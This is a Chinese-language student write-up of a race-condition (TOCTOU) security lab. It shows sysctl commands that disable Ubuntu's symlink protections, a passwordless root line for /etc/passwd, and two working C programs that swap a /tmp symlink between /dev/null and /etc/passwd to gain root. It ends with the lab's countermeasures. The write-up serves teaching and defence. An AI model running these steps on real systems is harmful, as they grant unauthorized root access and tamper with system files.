Race-Condition-Vulnerability-Lab

Environment Setup

下载代码文件,并且关闭 ubuntu 针对竞态条件攻击的内置保护。

sudo sysctl -w fs.protected_symlinks=0
sudo sysctl fs.protected_regular=0

创建 /tmp/XYZ 文件,并将其链接到 /dev/null 文件。然后编译代码什么的。

# Task 1: Choosing Our Target

如果我们向 /etc/passwd 文件中写入一个条目,就相当于添加了一个用户,把第三个参数设置为 0 就相当于把用户设为了 root 用户。第二个参数如果是 x 那么就说明从 /etc/shadow 中查找密码,也可以直接设置密码,但是需要是密码的哈希值。在 Ubuntu live CD 中有一个用于无密码帐户的神奇值,这个神奇值是 U6aMy0wojraho,我们把第二个参数设置为这个就可以得到一个不需要密码的 root 用户。

我们可以切换到 root 用户,在 /etc/passwd 文件最后面添加 test:U6aMy0wojraho:0:0:test:/root:/bin/bash 然后执行 su test(跳出输入密码直接回车即可),查看这个神奇值在我们的设备上是否生效。

注意,记得把 passwd 文件备份,避免后续实验导致文件丢失。

Task 2: Launching the Race Condition Attack

# Task 2.A: Simulating a Slow Machine

我们在被攻击代码 accessfopen 之间添加一个 sleep(10); ,然后编译执行代码,在 sleep 期间,执行 ln -sf /etc/passwd /tmp/XYZ,这样,在确认用户可以访问 XYZ 后,XYZ 被软链接到了 passwd 文件,后续因为被攻击程序是个特权程序,因此 openwrite 都会以特权程序执行。从而实现了对 passwd 文件的恶意修改。

# Task 2.B: The Real Attack

首先写我们的攻击程序,这段代码不断的把 XYZ 链接到特权程序和非特权程序:

int main() {
while (1) {
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(1000);
}
}

然后,执行脚本,脚本的作用就是不断向 XYZ 中写入 test:U6aMy0wojraho:0:0:test:/root:/bin/bash(注意自己修改),在大部分时间要么写到了 /dev/null 中,要么不能写入,因为没有权限。

但是,当两个程序并发时(通过开两个终端同时执行之),在 XYZ/dev/null 时通过了 access 检查,然后 XYZ 切换到了 passwd,再执行 fopen 和后面的 fwrite,那么就修改了 passwd,得到了 root 权限。

下面的截图结果我做了点弊,我在 accessfopen 之间添加了一点时间,用来让竞态漏洞更好的被执行。如果不加时间,太容易 XYZ 被修改为 root 程序导致我们得把他删了重做。很麻烦,需要大量的重复工作来碰运气。

image-20221113211659068

# Task 2.C: An Improved Attack Method

上面说到,XYZ 太容易变成 root 所属的文件,这个结果也是因为竞态漏洞。当 XYZ 链接到 null 时通过了 access,然后执行了 unlink,这时 XYZ 没有链接到任何一个文件,CPU 切换到 fopen,这时一个特权程序打开这个空文件,将创建一个以 root 作为所有者的新文件。

因此,我们需要让 XYZ 从链接到 nullpasswd 这个过程是原子的,我们可以使用 renameat2 这个系统调用来交换两个文件的软链接,这个操作是原子操作。这样就不会导致上面那样的问题了。

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main() {
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC");
symlink("/etc/passwd", "/tmp/ABC");
while (1) {
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
usleep(1000);
}
return 0;
}

这样的话,执行之后一定能够成功:

image-20221113232238538

Task 3: Countermeasures

# Task 3.A: Applying the Principle of Least Privilege

最小权限原则,我们可以把这个特权程序的权限降为真实用户权限,然后再执行:

FILE* fp;
seteuid(getuid()); // 把有效用户修改为真实用户
/* get user input */
scanf("%50s", buffer);

这样,就算我们上面分析的竞态条件发生,调用 open 函数也会没有权限打开 passwd 文件,因为这已经不是个特权程序了。

image-20221114001939672

# Task 3.B: Using Ubuntu’s Built-in Scheme

和上面一样,在竞态条件发生的情况下,会报 open failed(我确信我已经注释过了刚刚添加的代码,并且重新编译过了)。但是,这个比上面 open failed 的比例高得多。测试后发现,XYZ -> /dev/null 的情况也会报这个错,所以这里是 1:1 的报错。上面是少数的 open failed 报错。